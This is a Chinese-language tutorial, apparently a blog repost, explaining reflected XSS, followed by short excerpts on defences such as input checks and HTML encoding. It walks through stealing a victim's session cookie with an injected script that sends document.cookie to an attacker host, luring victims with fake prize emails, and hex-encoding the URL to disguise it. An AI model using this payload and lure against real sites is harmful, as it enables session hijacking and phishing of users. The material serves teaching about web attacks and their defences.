跨站點指令碼(xss)解析(一)反射型xss漏洞

2022-09-23 22:57:15 字數 1639 閱讀 4060

跨站點指令碼(xss)即:cross  site script, 也經常存在於web程式中,它是往web頁面中插入**html語句、js語句等。如果伺服器端沒有對其進行過濾,當使用者瀏覽該網頁時,我們插入的**就會在使用者的瀏覽器中執行。

當web應用程式動態地向我們展示資訊的時候,就可能存在xss漏洞。通常我們請求的url中會包含乙個文字型引數,並將這個文字展現給使用者。例如: 這樣如果伺服器不進行過濾,就存在xss漏洞。我們可以把helloworld改成alert(『helloworld』),這樣就會在瀏覽器中彈出乙個helloworld訊息框,如果改成alert(document.cookie)呢,就可以獲取當前使用者的登陸cookie和session了。

如何利用這種xss漏洞呢,最簡單的方式是一名登陸使用者的會話,這樣我們就可以以他的身份登陸系統了。攻擊步驟:1. 使用者登陸某web系統,比如www.hostname.com 2. 攻擊者將自己設計的url傳送給使用者3.使用者點選攻擊者傳送的url 4.web系統對攻擊者的url做出解析5.攻擊者的**在使用者的瀏覽器中執行   6.使用者的瀏覽器將使用者登陸web系統的cookie和session等資訊傳送給攻擊者7.攻擊者利用cookie和session登陸web系統。

第一步中: 使用者登入系統,系統會往瀏覽器中寫入cookie,set-cookie: sessionid=12345678966000.

第二步中:攻擊者可以構造這樣的url, /search.php?showmessage=, 傳送給使用者。

第三步中: 使用者一旦點選攻擊者的url,就會向www.hostname.com 傳送請求訊息。

第四步中:hostname伺服器就會解析該url,響應其中的js**。

第五步中: 伺服器把showmessage的文字傳送給瀏覽器,瀏覽器就會執行文字中的js**。

第六步中:js**為var i=new image; i.src=」 執行這段**,瀏覽器會把自己在hostname中的cookie傳送給這個**當然是由攻擊者控制。

第七步中: 攻擊者獲得了cookie,在自己的瀏覽器中設定改cookie,直接訪問 ,就會以使用者的身份登陸了。

之所以要誘使使用者點選攻擊者傳送的url,是因為①瀏覽器不允許舊有指令碼訪問cookie,②只有設定該cookie的站點才有許可權讀取該cookie。而攻擊者的url中包含的js**是通過hostname傳送到瀏覽器中,這樣就有了讀取cookie的許可權。

現在的問題就是怎麼誘使使用者點選自己傳送的url,常見的做法是冒充hostname傳送電子郵件,發布調查資訊或者中獎訊息,首先要求使用者登陸系統,然後點選鏈結領取獎品。這樣就實施了攻擊過程。另外可以給攻擊者的url編碼,就更具可信性了。

utf-8編碼:/search.php?showmessage=;如果還不可信,再將其中的英文進行16進製制編碼:/%73%65%61%72%63%68 %2e%70%68%70?%73%68%6f%77%6d%65%73%73%61%67%65=%3c%73%63%72%69%70%74%3evar+i=new+image;+i.src=」%68%74%74%70%3a%2f%2f%68%61%63%6b%65%72%2e%63%6f%6d%2f%22%25%32%62%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3b%3c%2f%73%63%72%69%70%74%3e  經過這樣的編碼,再加上確實是hostname的網域名稱,可信性就很高了。

XSS跨站點指令碼攻擊解決方案

xss 跨站點指令碼攻擊解決方案 step1 在設計方案上,輸入項要盡可能檢測格式並限制長度。要有服務端檢測,不能依賴客戶端檢測。在資料庫設計上要限制字段長度 輸出頁面時需要進行html轉碼,如輸出位址內容 td convert.html cus.getaddress td public stati...

ASP防範跨站點指令碼攻擊的方法

防範跨站點指令碼攻擊的的方法 1 1.利用 空格 替換特殊字元 2.使用 具體而言是將以下語句 exec insert into user username,psw,department,phone,email,demo values username psw department phone em...

跨站指令碼攻擊 XSS

跨站指令碼攻擊,cross site script,為了區別css,英文縮寫為xss xss攻擊,通常指hacker通過 html注入 篡改了網頁,插入惡意的指令碼,從而在使用者瀏覽網頁時,控制使用者瀏覽器的一種攻擊。xss根據效果的不同可以分為如下幾類 1.反射型xss 通過將使用者輸入的資料 反...